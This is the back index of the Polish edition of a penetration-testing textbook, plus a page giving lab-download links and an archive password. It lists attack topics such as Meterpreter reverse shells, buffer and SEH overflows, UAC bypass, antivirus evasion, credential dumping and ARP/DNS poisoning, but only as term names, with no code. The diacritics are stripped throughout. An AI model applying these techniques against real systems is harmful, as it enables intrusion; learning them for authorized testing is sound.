po czenia sieciowe, 106
po czenia TCP/IP, 108
procesy, 106
przetwarzanie danych, 102
system plików, 92
uprawnienia u ytkowników, 94
us ugi, 106
wiersz polece , 92
zarz dzanie pakietami, 105

lista
administratorów, 371
dost pnych interfejsów, 425
dost pnych tokenów, 379
dzia aj cych procesów, 353, 476
hase , 258, 259
kompatybilnych adunków, 140
kont u ytkowników, 257
adunków, 147

modu ów pakietu BeEF, 415
opcji modu u, 149
procesów, 371
sesji Meterpretera, 351
skanów Nessusa, 187
skryptów NSE, 192

logowanie do
pakietu BeEF, 415
poczty elektronicznej, 262
serwera FTP, 210, 212, 218
serwera Gmail, 323
systemu Kali Linux, 43

lokalizowanie rejestru EIP, 479
lokalne pliki serwera, 405
luka, 204

Aurora, 288
CVE-2008-2992, 293
MS08-067, 133, 188,

233–236
zero-day, 285

luki w zabezpieczeniach, 29, 75, 181, 248
po stronie klienta, 279
przegl darek PDF, 293

przegl darek sieciowych, 284
rodowiska Java, 298
rodowiska JRE, 298

us ug, 250

adunek, payload, 53, 140, 147
AllPorts, 280
bind shell, 533
domy lny, 141
java/meterpreter/reverse_tcp, 303
meterpreter/reverse_http, 300
reverse_tcp_allports, 281
typu bind shell, 142
typu reverse shell, 143
w pliku /tmp/run, 365
windows/meterpreter/reverse_tcp, 347
zakodowany, 339
zawieraj cy Meterpreter, 236

adunki
HTTP, 282
HTTPS, 282
jednostopniowe, 236
Metasploita, 234, 280
PHP, 239
programu Veil-Evasion, 344
wielostopniowe, 235

amanie
hase , 255, 271, 274

systemu Linux, 272
zahaszowanych, 274

kluczy, 432, 440, 441
szyfrowania WEP, 436

PIN-u, 445
a cuch SEH, 499
czenie serwera z aplikacj , 557

M
Mac OS, 46
mapowanie zagro e , 33
maska podsieci, 106
maszyna wirtualna

dostosowywanie urz dze , 64
interfejs sieciowy, 46, 47
Kali Linux, 41
karta sieciowa, 64
Mac OS, 46
po czenia sieciowe, 44
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rozmiar dysku, 63
testowanie po czenia, 48
Ubuntu 8.10, 82
ustawienia, 45
Windows, 45
Windows 7, 83
Windows XP, 62

maszyna-celu, 62, 82, 83
MDM, Mobile Device Management, 575
mechanizm

ASLR, 544
bezpiecze stwa, 359
DEP, 545
mandatory code signing, 285
SafeSEH, 512
SEH, 499
transferu stref, 163
UAC, 359
USSD, 563

mened er
urz dze  udev, 363
us ug, 373

menu
ataków, 319
ataków socjotechnicznych, 314
pomocy, 146
ukierunkowanych ataków phishingowych, 314

Meterpreter, 236, 350
metoda brute-force, 255, 260, 274
metody uwierzytelniania SSH, 196
Microsoft Security Essentials, 332
Microsoft Windows, 45
migawka maszyny wirtualnej, 40
migracja pow oki Meterpretera, 291
MiTM, man-in-the-middle, 213
modelowanie zagro e , 159
modu

Aurora, 287
browser_autopwn, 304, 305, 306
Incognito, 378, 379
local/bypassuac, 360
lokalny exploita, 358
MS08-067, 134, 139
multi/handler, 151, 294, 580
NSE, 192
psexec, 373
PsExec, 376
SMB Capture, 379
Socks4a, 386
SSHExec, 376

modu y
Metasploita, 354
pakietu BeEF, 415
pakietu Metasploit, 132, 133
pomocnicze, 153, 196
skanerów pakietu Metasploit, 196
typu Local Escalation, 358
typu post, 355

modyfikacje listy hase , 274
modyfikowanie kodu modu u, 539, 541
MSDN, Microsoft Developer Network, 61

N
nadpisywanie

procedur SEH, 500
wska nika SEH, 507, 510, 514

nas uchiwanie po cze , 109
NAT, Network Address Translation, 44
nawias klamrowy, 126
negocjacja uwierzytelniania, 439
NFC, Near Field Communication, 550, 551
NFS, Network File System, 194
NIC, Network Interface Controller, 208
niepoprawna konfiguracja zabezpiecze , 201
niestandardowe metody kompilowania, 338
NSE, Nmap Scripting Engine, 191
numer IMEI, 565

O
obs uga

adunku, 152
pami ci kamery, 582
polecenia check, 198
po czenia zwrotnego, 240
wielu sesji, 295
obs uga wyj tków, 499

obszar stosu, 451
ochrona plików, 332
odczytywanie zawarto ci bazy danych, 402
odgadywanie

has a, 261, 262
nazwy u ytkownika, 261

odpowied
ARP, 215
nslookup, 223

odszyfrowywanie
WEP, 429, 431
zahaszowanych hase , 266
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odtwarzacz Winamp, 307
odwrotna pow oka, reverse shell, 111
odwrócenie pow oki, 142
odzyskiwanie haszy hase , 264
offset, 484
okno

3Com TFTP Service Control, 528
Launch Options, 58
Save session as site, 369
terminala, 49
typu alert, 413
Virtual Machine Settings, 45

omijanie
filtrowania, 280
mechanizmu UAC, 359
programów antywirusowych, 327, 334, 343

opcja
CERTCN, 302
CHALLENGE, 382
Credential Harvester Attack Method, 320
EXENAME, 296
Exploit Target, 139
INFILENAME, 296
Java Applet Attack Method, 320
JOHNPWFILE, 381
LAUNCH_MESSAGE, 296
LHOST, 346
LPORT, 281, 346
Metasploit Browser Exploit Method, 320
RHOST, 138, 143
RHOSTS, 154, 385
RPORT, 138
SigningCert, 302
SMBPIPE, 138
SMBUser, 374
SRVHOST, 286, 299
SRVPORT, 286
Tabnabbing Attack Method, 320
URIPATH, 286

opcje
agenta SPF, 571
exploita, 298
adunku, 144, 299

modu u
exploita, 137, 144, 146
java_signed_applet, 302
Msfvenom, 149
multi/handler, 152
pomocniczego, 153

skryptu persistence, 389
wyboru szablonów strony, 320

operacja XOR, 429

operacje USSD, 563
osadzanie

agenta, 567, 570
plików wykonywalnych, 296

OSINT, 160

P
pakiet, Patrz tak e program

3Com TFTP 2.0.1, 77
Adobe Acrobat Reader, 80
Aircrack-ng, 432
Android SDK, 54
Android SDK Platform-tools, 55
Android SDK Tools, 55
BeEF, 414
Burp Suite, 394
GCC, 126
Hyperion, 341
Immunity Debugger, 81
Incognito, 378
Maltego, 166
Metasploit Framework, 129
Microsoft Security Essentials, 88
Mona, 81
Nessus, 48, 51, 182
Nikto, 199
Nmap, 172
SET, 19, 313
SLMail 5.5, 75
Smartphone Pentest Framework, 60, 549,

552, 566
Social-Engineer Toolkit, 304
TFTP, 524
TikiWiki, 233, 248, 350
Veil-Evasion, 53, 343
VMware, 39
VMware Fusion, 40
VMware Player, 40
VMware Tools, 68, 70, 85
VMware Workstation, 39
w3af, 419
War-FTP 1.65, 81
WinSCP, 81
XAMPP, 78, 200
Zervit 0.4, 75

pakiety
dodatkowe, 52
ICMP Echo Request, 116
IP, 216
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pami , 450
pami  USB, 326
parametr

AutoRunScript, 291
ExitOnSession, 295

parametry
zaawansowane Metasploita, 290

dania, 398
p tla for, 118
pivot, 385, 386
pivoting, 382, 383, 575
plik

AuthInfo.xml, 89
authorized_list, 195
boot.ini, 244
crontab, 112
FileZilla Server.xml, 245
id_rsa, 252
id_rsa.pub, 252
InstallApp.pdf, 88
interface, 107
kaliinstall, 60
mcvcore.maki, 308
myexploit.rb, 541
myfile, 97, 102
netcatfile, 111
netlink, 365
radmin.exe, 329, 334
run, 365
SAM, 245, 265, 266
sudoers, 96
SYSTEM, 245, 265

pliki
.bin, 337
.vmx, 83
APK, 570
PDF, 292, 294, 297
torrent, 61
wra liwe, 244
wykonywalne zakodowane, 336
zaszyfrowane, 343

pobieranie
plików, 243
pliku konfiguracyjnego, 244
pliku Windows SAM, 245

PoC, Proof of Concept, 191, 529
poczta elektroniczna, 165
podatno ci, 181, 188
podatno

na wstrzykiwanie kodu, 400
na XSS, 413

pod czanie
aplikacji SPF, 558
debuggera, 526
klientów

WPA/WPA2 Enterprise, 438
WPA/WPA2 Personal, 439

maszyny wirtualnej do sieci, 47
pakietu SPF, 569

podnoszenie
uprawnie , 356, 361, 366, 582
uprawnie  sesji, 582

podpisywanie
apletu Java, 301
kodu, 545
pliku APK, 572

podr cznik man, 93
podzia  podatno ci, 188
pole

Available targets, 136
Basic options, 136
Description, 137
Payload information, 136
Platform, 136
Privileged, 136
Rank, 136
References, 137

polecenia
Meterpretera, 352
pow oki bash, 372

polecenie
!mona seh, 513
adduser, 389
aireplay-ng, 434
airmon-ng check, 426
airodump-ng, 427, 433
arpspoof, 217
awk, 104
bkhive, 265
cat, 98, 339
cd, 55, 93
cewl, 259
check, 197
chmod, 123
client.railgun.shell32.IsUserAnAdmin, 356
cp, 97
cron, 112
cut, 121
dnsspoof, 222
exit, 146, 356
exploit, 141, 154, 197
findmsp, 508
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polecenie
getsystem, 357, 359, 360
getuid, 352
grep, 103, 120, 173
gunzip, 258
hashdump, 236, 264, 375
help, 132
host, 163
if, 117
import socket, 124
ipconfig, 72, 410, 411
iwconfig, 425
kill, 289
ls, 92, 94
maltego, 166
man, 93
msfcli –h, 146
msfconsole, 131
msfvenom, 329
nc, 391
net, 370, 371
netcat, 108, 109
netstat, 108
nmap, 173
nslookup, 162, 220
pattern_create, 480
ping, 48, 72, 115, 116
proxychains, 387
ps aux, 365
psexec, 374
put, 237
pwd, 92
return, 127
rev2self, 358
route, 132, 384
samdump2, 266
search, 134
secpol.msc, 74
sed, 104, 122
service, 183
show options, 140
ssh-keygen, 252
sudo, 96
unzip, 55
upload, 351
VRFY, 205
w3af, 419
wget, 364
whoami, 110
whois, 161

polityki skanowania Nessusa, 184

po czenia sieciowe, 106
po czenie

HTTPS, 227, 229
mostkowe, 44, 47, 383
NAT, 44
NFC, 550, 551
SSL, 224, 226
TCP, 172
TCP/IP, 108
TLS, 236
typu host-only, 44
z agentem, 569
z portem, 203
z portem zdalnym, 124
zwrotne, 151, 235, 240, 281

pomoc, 146
poprawka bezpiecze stwa, 133
porównanie haszy hase , 269
port, 108, 179

110, 164
25, 164, 171
4444, 294, 578
445, 387
446, 387
80, 287
9050, 387

porty
nietypowe, 202
otwarte, 202

poszukiwanie adresów poczty, 165
po wiadczenia

domy lne, 201
domy lne logowania, 237
logowania, 368, 381, 408, 415
logowania SSH, 559

potoki SMB, 154
potwierdzanie wyj tku bezpiecze stwa, 51
pow amaniowa eksploracja

systemu, 354
urz dze  mobilnych, 573

pow oka, 110
bash, 115
po stronie klienta, 561
Powershell, 411
Ruby, 356
systemu, 361

poziom ryzyka podatno ci, 189
pozyskiwanie

hase  z pami ci operacyjnej, 276
tokenów, 379
zahaszowanych hase , 266, 268
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prawa dost pu, 99, 100
procedura xp_cmdshell, 403
procedury SEH, 506
proces, 106

cron, 112
nas uchuj cy, 152, 318
nas uchuj cy polece  pow oki, 110
obs ugi adunku, 152

procesy koliduj ce, 427
program

3Com TFTP 2.0.1, 77
7-Zip, 40, 61
Adobe Reader 8.1.2, 293
Aireplay-ng, 435
airodump-ng, 428
Android SDK Manager, 55, 56
Android Virtual Device Manager, 56
APKTool, 571
apt, 105
Arpspoof, 217
BookApp, 88
Burp Proxy, 394
Cadaver, 202, 237
Ettercap, 53, 224, 225
Hydra, 261, 262
Hyperion, 52, 341
Immunity Debugger, 475, 476
John the Ripper, 271, 272, 274
Maltego, 167
Metasm, 496
Microsoft Security Essentials, 332, 342
Mona, 82
MS SQL Management Studio, 89
Msftidy, 541
Msfvenom, 148, 239, 328, 335, 492
Netcat, 108, 123, 203, 262, 391
Nmap, 171, 192, 576
ProxyChains, 386, 387
PsExec, 373
Radmin Viewer, 329, 331
SLMail 5.5, 75
SQL Server Configuration Manager, 89
SQLMap, 402, 403
SSLstrip, 228, 229
theHarvester, 165, 318
Veil-Evasion, 53, 343, 345
Very Secure FTP, 182
VMware, 39
VMware Fusion, 46, 65, 70
VMware Player, 45, 62, 68
w3af, 419
War-FTP, 502

Winamp, 307
Windows Credentials Editor, 276
WinSCP, 369
Wireshark, 208
wykrywanie trojanów, 330
Zervit 0.4, 75

programowanie, 115
programy antywirusowe, 327, 332
protokó

ARP, 214
ICMP, 116
SMTP, 171
WEP, 428
WPA, 437
WPA2, 438
WPS, 444

przechwytywanie
danych logowania, 229
naci ni tych klawiszy, 367
pakietów, 427
po wiadcze  logowania, 321, 381
przegl darki sieciowej, 416
ruchu sieciowego, 207, 209
sesji logowania, 219

da , 398, 405, 406
przegl danie

listy administratorów, 371
po cze  sieciowych, 108

przegl darka Iceweasel, 49, 396
przegl darki PDF, 293, 296
przejmowanie kontroli, 486
przejrzysto  wyników, 120
przekazywanie

pakietów IP, 216
sterowania, 506

przekierowanie
dzia ania programu, 486
ruchu sieciowego, 216, 386
ruchu wychodz cego, 225
sterowania programem, 508, 516

przekonywanie u ytkownika, 568
prze czanie kont u ytkowników, 96
prze czniki, switches, 208
przenoszenie

kodu exploitów, 521
plików, 97

przepe nienie bufora, 246, 449, 453, 473, 479,
500, 522

przesy anie
exploita, 579
plików, 243, 244
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przetwarzanie danych, 102
pu apka, 491, 514, 515
punkt dost powy, 425
pusty bajt, null byte, 533
Pwned, 235

Q
Quick Response codes, 552

R
randomizacja uk adu przestrzeni adresowej, 544
ranking

luk w zabezpieczeniach, 189
podatno ci, 189

raport techniczny, 35
raportowanie, 34
RC4, Rivest Cipher 4, 428
rejestr

EAX, 451
EBP, 451
EBX, 451
ECX, 451
EDI, 451
EDX, 451
EIP, 451, 479
ESI, 451
ESP, 451

rejestrator domen internetowych, 160
rekonstruowanie sesji TCP, 211
rekordy DNS, 164
Remote Desktop Users, 389
retransmitowanie pakietów ARP, 435
Reverse shell, 143, 281
RFI, Remote File Inclusion, 408
rodzaje pow ok, 142
root, 92, 95, 96
ROP, Return-Oriented Programming, 545
router

bezprzewodowy, 423
Linksys WRT54G2, 424

roz czanie sesji HTTP Meterpretera, 301
rozmiar dysku maszyny wirtualnej, 63
rozszerzanie uprawnie , 354
rozszerzenie Railgun, 356
rozwi zywanie nazw DNS, 221
RPC, Remote Procedure Call, 131, 373
ruch sieciowy, 207

S
SAM, Windows Security Accounts Manager, 245
SEH, Structured Exception Handlers, 499, 506
Service Pack, 155
serwer

3Com TFTP, 526
Apache, 241, 243
BeEF, 414
C&C, 331
DHCP, 107
DNS, 162
FileZilla, 79
FTP, 80, 196, 197, 210
MySQL, 241
poczty elektronicznej, 75, 164
POP3, 261
proxy, 386, 395
RPC, 131
SLMail, 246
SMB, 153
SPF, 557
VPN, 165
Vsftpd, 250
War-FTP, 474, 475, 479, 502
WebDAV, 238
WWW, 75, 165, 203, 238
Zervit 0.4, 179, 204

sesja
Meterpretera, 241, 351
pow oki systemu Android, 563
SSH, 196

SET, Social-Engineer Toolkit, 19, 313
SHA, Secure Hash Algorithm, 330
sieci bezprzewodowe, 428
sie  Tor, 387
skaner

Nessus, 50, 52, 183
Nikto, 200
Nmap, 578

skanery portów, 384
skanowanie

aplikacji, 419
aplikacji internetowych, 199, 419
portów, 124, 170, 202, 385, 576
portów r czne, 170
SYN, 172, 173
TCP, 175
TCP SYN, 172
UDP, 177
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wybranych portów, 178, 179
za pomoc  Nessusa, 186
zakodowanego pliku, 336

sklep Google Play, 570, 571
skompilowany plik APK, 573
skórka

programu Winamp, 308
Rocketship, 309

skrót, Patrz hasz
skrypt

hook.js, 415
meterpreter.php, 243
migrate, 353, 354
NFS-LS, 195
nfs-ls.nse, 194
persistence, 389
pingscript.sh, 120
pow oki bash, 116
shell.php, 242
Step1-install-iis.bat, 88

skrypty
Meterpretera, 353
Nmap, 193
pow oki bash, 115
w j zyku Python, 123

s owo kluczowe
done, 119
fi, 118
then, 118

smartfony, 566
SMB, Server Message Block, 133
SMS, Short Message Service, 550
SMTP, Simple Mail Transfer Protocol, 171
sprawdzanie

historii polece , 372
podatno ci, 197
portów, 125

SQL injection attack, 399
SSL stripping, 227
SSL, Secure Sockets Layer, 224
staged payloads, 235
starsze stwo bajtów, 469
statyczny adres IP, 71, 87, 107
sterownik afd.sys, 358
sterta, heap, 450
stos, stack, 450, 452, 473
strefa zdemilitaryzowana, DMZ, 382
streszczenie raportu, 34
struktura SEH, 500
suma kontrolna, 430, 431
superu ytkownik, 92, 95

sygna  ACK, 172
sygnatury antywirusowe, 331
symbol

$1, 118
>, 111
>>, 99

system
Netcraft, 160
operacyjny

Android, 54, 555
iOS, 285
Kali Linux, 40
Mac OS, 46
Ubuntu, 82
Windows, 45

plików, 92
zdalny, 109

szablon
pliku wykonywalnego, 338
strony internetowej, 320
wiadomo ci e-mail, 316

szyfr strumieniowy RC4, 428
szyfrowanie

plików wykonywalnych, 341
WPA/WPA2, 423, 430, 440

ledzenie rejestru ESP, 507
rodowisko

testowe, 52
uruchomieniowe JRE, 298

T
tablica ARP, 215–217
technika

Reflective Dll Injection, 236
ROP, 545
Stack Cookies, 543

techniki zapobiegania atakom, 543
terminal, 91
test penetracyjny, 29

analiza podatno ci, 33
atak, 33
faza wst pna, 31
mapowanie zagro e , 33
pow amaniowa eksploracja systemu, 33
raportowanie, 34
wewn trzny, 30
zakres, 31
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test penetracyjny
zbieranie informacji, 32
zewn trzny, 30

testowanie
aplikacji internetowych, 393
podatno ci, 400
po czenia, 48

testowe rodowisko wirtualne, 39
t czowe tablice, rainbow tables, 275
TLS, Transport Layer Security, 236
token

delegacji, 378
personifikacji, 156, 377

transfer stref, 164
translacja adresów sieciowych, 44
trasa, 384
trojan, 328
tryb

host-only, 383
monitora, 426
nas uchiwania, 208

tryby po cze  sieciowych, 44
tunelowanie SSH, 388
tworzenie

agenta SPF, 570
aplikacji SPF, 555
emulatora urz dzenia, 57
handlera, 294, 295
interfejsu sieciowego, 427
katalogów, 97
kont u ytkowników, 69, 371
konta u ytkownika, 76, 83, 388
listy hase , 259, 260
adunków, 53

maszyny-celu, 62, 82, 83
migawek, 40
modu ów Metasploita, 535
modu u exploita, 538
plików, 97
pliku PDF, 293, 296
pliku wykonywalnego, 336
polityki skanowania, 183, 184
po czenia zwrotnego, 235
procesu nas uchuj cego, 152, 318
przestrzeni kluczy, 260
samodzielnych adunków, 148
sesji Meterpretera, 240, 287
surowego adunku, 339
szablonu wiadomo ci, 316
u ytkownika FTP, 80
wirtualnego rodowiska testowego, 39

zada  cron, 391
zaszyfrowanych plików, 343
z o liwego agenta SPF, 567
z o liwych agentów SPF, 566

tylne wej cie, backdoor, 182, 250, 563

U
UAC, User Account Control, 359
Ubuntu 8.10, 82
uchwyty, handlers, 378
udzia  administracyjny ADMIN$, 373
udzia y NFS, 251
uprawnienia u ytkownika, 94, 356
uruchamianie

emulatora urz dzenia, 58, 59
exploita, 141, 144, 386, 534, 580, 582
konsoli Msfconsole, 131
modu u Aurora, 287
modu u BeEF, 417
modu u browser_autopwn, 305
modu u exploita, 148, 358
modu u klasy post, 355
modu u Metasploita, 131, 560
pakietu Burp Suite, 394
pakietu SET, 313
pakietu SPF, 553
pliku PDF, 297
pow oki, 111, 492
procedury xp_cmdshell, 403
programu Hyperion, 342
programu Veil-Evasion, 344
serwera BeEF, 414
serwera Zervit 0.4, 75
sesji Meterpretera, 350
skanera Nikto, 200
skanera Nmap, 387, 578
skanu Nessusa, 187
skryptów, 117, 238
skryptów Meterpretera, 289
skryptów w sesjach, 289
skryptu migrate, 354
skryptu NSE, 194
skryptu persistence, 390
systemu Kali Linux, 42, 267
us ug pakietu XAMPP, 79
zapyta  SQL, 242

urz dzenia
maszyny wirtualnej, 64
mobilne, 549, 563
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us uga, 106
3Com TFTP, 77
IIS, 410
Metasploit, 131
NFS, 194
SMB, 133
VirusTotal, 333

us ugi amania hase , 275
USSD, Unstructured Supplementary Service

Data, 563
ustawianie

has a, 70, 71, 84
nazwy komputera, 66
opcji exploita, 137, 298
opcji adunku, 316
parametru AutoRunScript, 291
pu apki, 490, 491
statycznego adresu IP, 71, 85, 107

ustawienia grupy roboczej, 67
usuwanie

ostatniego znaku, 122
plików, 97

utrzymywanie dost pu, 388
uwierzytelnianie, 374

SMB, 376
SSH, 196, 253
XML, 403

uzyskiwanie pomocy, 146
u ytkownik secret, 380
u ywanie skanerów podatno ci, 189

V
VMware, 39
VMware Player, 45

W
warto  skrótu hase , 264
wczesne wykrywanie, 236
wektor inicjuj cy, IV, 429
WEP, Wired Equivalent Privacy, 428
weryfikowanie

certyfikatu, 225
offsetów, 484, 509

wewn trzna baza danych, 399
wiadomo ci tekstowe, 550
wi zanie pow oki, 142
wiersz polece , 92, 131, 145
WiFi Protected Setup, 444
Windows 7, 83

Windows XP, 62, 73
wirtualne

cele ataku, 61
rodowisko testowe, 39

w a ciciel pliku, 99
WPA, WiFi Protected Access, 437
wra liwe dane, 407
wska nik

EIP, 465
SEH, 510

wstrzykiwanie
kodu pow oki, 343
kodu SQL, 399, 403
kodu XPath, 403
pakietów, 433

wtyczka Mona, 480, 533
wybieranie

adresata, 316
formatu adunku, 149
interfejsu sieciowego, 209
adunku, 143, 149, 315, 517

nazwy pliku, 316
rodzaju skanu, 185
szablonu wiadomo ci, 317

wyj tek bezpiecze stwa, 51
wykonywanie polece , 409
wykorzystywanie

adresu powrotu, 490
backdoora, 250
b dów przepe nienia, 246
exploita, 249
konsoli phpMyAdmin, 241
luk w zabezpieczeniach, 248, 279, 385

Java, 300
us ug, 250

luki Aurora, 288
luki MS08-067, 236
otwartych udzia ów NFS, 251
podatno ci, 401
po wiadcze  logowania, 237
stron internetowych, 319

wykrywanie adunków, 333
wy czanie

automatycznych aktualizacji, 86
ochrony, 89
zapory sieciowej, 70, 71

wy udzanie
informacji, 160
po wiadcze  logowania, 325

wymuszanie awarii programu, 456, 476
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wyniki
dzia ania skryptu, 193, 195
dzia ania zapyta , 169
dzia ania zapyta  Maltego, 170
skanowania SYN, 173
skanowania TCP, 175
skanowania UDP, 177
skanu, 188
zapytania Netcraft, 161

wyodr bnianie klucza bootkey, 265
wypychanie pow oki, 111
wysy anie wiadomo ci e-mail, 318, 324
wyszukiwanie

adresu powrotu, 532
bajtów wzorca, 505
bezprzewodowych punktów dost powych,

425
b dów, 522
ci gu znaków, 506
exploita, 363
informacji, 366
kompatybilnych adunków, 140
luk w zabezpieczeniach, 181, 191, 361, 474
modu ów, 132, 134
nazw kont u ytkowników, 204
niew a ciwych znaków, 493
offsetów wzorca, 484
offsetu adresu powrotu, 480
plików, 367
podatno ci, 181, 191, 361
podci gu znaków, 483
tekstu, 101
wyst pie  instrukcji, 532
znanych podatno ci, 474

wy wietlanie
danych logowania, 229
ekranu pomocy, 328
informacji, 574
konfiguracji po cze , 106
listy interfejsów, 425
listy procesów, 353, 371
listy tokenów, 379
a cucha SEH, 501

opcji, 146
zawarto ci pliku SAM, 265

wywo ywanie awarii programu, 463, 525
wzorce, 104
wzorce cykliczne, 504
wzorzec Mona, 505

X
XAMPP 1.7.2, 78
XSS, Cross Site Scripting, 411

Z
zabezpieczenia DEP, 546
zakodowany adunek, 339
zakres testu penetracyjnego, 31
zamiana

bajtów nadpisuj cych, 514
kodu pow oki, 533

zapewnianie dost pu, 389
zapisywanie po wiadcze  logowania, 369
zapobieganie

atakom, 543
w amaniom, 236
wykonywaniu danych, 545

zapora sieciowa, 70
zapytania

DNS, 162
SQL, 242
w pakiecie Maltego, 168
whois, 161
XPath, 403

zarz dzanie
baz  danych, 200
has ami, 255
po czeniami sieciowymi, 106
zainstalowanymi pakietami, 105

zasada dzia ania modu ów, 286
zastosowanie

exploita winamp_maki_bof, 307
adunku java/meterpreter/reverse_tcp, 303

modu u
browser_autopwn, 304
local/bypassuac, 360
multi/handler, 151
psexec, 373
SMB Capture, 380
SSHExec, 376

polecenia
cewl, 259
hashdump, 375
upload, 351
wget, 364
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programu
Ettercap, 224
Hydra, 262
John the Ripper, 271, 274
SQLMap, 402
SSLstrip, 228
Wireshark, 208

wzorca cyklicznego, 504
zatruwanie

DNS, 220, 222
tablic ARP, 216–219

zatrzymywanie dzia aj cego zadania, 288
zbieranie informacji, 32, 159
zdalna kontrola urz dze , 563

mobilnych, 575
zdalne sterowanie, 575
zdalny pulpit, 389
z o liwe

agenty SPF, 566
aplikacje, 565
oprogramowanie, 333
pliki, 336

punkty dost powe, 326
skórki programu, 308
skrypty PHP, 409
wiadomo ci, 318, 322

zmiana
katalogów, 92
ustawie  interfejsu sieciowego, 46, 47
ustawie  maszyny wirtualnej, 45

zmienna rodowiskowa PATH, 117
znaczniki NFC, 551
znak równo ci, 118
znaki drukowalne, 339

danie
anulowania uwierzytelnienia, 433
ARP, 435
HTTP GET, 396
logowania, 405
wy wietlenia biuletynu, 406
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Pobieranie oprogramowania
dla rodowiska testowego

Na stronie http://www.nostarch.com/pentesting/ znajdziesz cza internetowe do
oprogramowania wykorzystywanego w tej ksi ce, takiego jak aplikacja interne-
towa BookApp, maszyna wirtualna z systemem Ubuntu oraz maszyna wirtualna
z systemem Kali Linux. Aby rozpakowa  plik archiwum 7-Zip zawieraj cy mate-
ria y do ksi ki, powiniene  wpisa  has o 1stPentestBook?!.

Program 7-Zip dla systemów Windows i Linux znajdziesz na stronie http://www.
7-zip.org/download.html. Je eli jednak jeste  u ytkownikiem komputera Mac, pole-
cam program Ez7z, który mo esz pobra  ze strony http://ez7z.en.softonic.com/mac.

Dodatkowe ród a informacji (w j zyku angielskim) znajdziesz na stronie
autorki ksi ki, Georgii Weidman, pod adresem http://bulbsecurity.com/.
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